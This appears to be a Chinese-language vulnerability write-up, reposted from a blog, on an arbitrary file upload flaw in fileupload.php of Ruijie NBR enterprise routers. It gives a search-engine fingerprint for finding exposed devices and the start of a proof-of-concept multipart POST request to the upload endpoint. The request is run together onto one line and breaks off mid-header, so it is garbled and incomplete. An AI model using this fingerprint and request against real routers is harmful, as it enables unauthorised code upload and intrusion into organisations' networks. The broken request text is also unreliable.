锐捷NBR路由器fileupload.php任意文件上传漏洞

一、漏洞简介

锐捷NBR路由器是锐捷网络科技有限公司推出的一款高性能企业级路由器。NBR是"Next-Generation Broadband Router"的缩写，意为"下一代宽带路由器"。该路由器具有强大的处理能力和丰富的功能，适用于中小型企业、校园网络和数据中心等场景。锐捷 NBR 路由器 存在任意文件上传漏洞，可能导致执行恶意代码、服务器拒绝服务、数据泄露、网站篡改和横向渗透等危害。

二、影响版本

• 锐捷NBR路由器

三、资产测绘

• hunterapp.name=="Ruijie 锐捷 EWEB"
• 登录页面
  

四、漏洞复现

POST /ddi/server/fileupload.PHP Http/1.1Content-Type: multipart/fORM-data; boundary=00content0boundary00User-Agent: Java/1.8.0_381Host: xx.xx.xx.xxAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: closeContent-Length: 219--00content0boundary00Content-Disposition: form-data; name="uploadDir"upload--00content0boundary00Content-Disposition: for

来源地址：https://blog.csdn.net/qq_33331244/article/details/132852593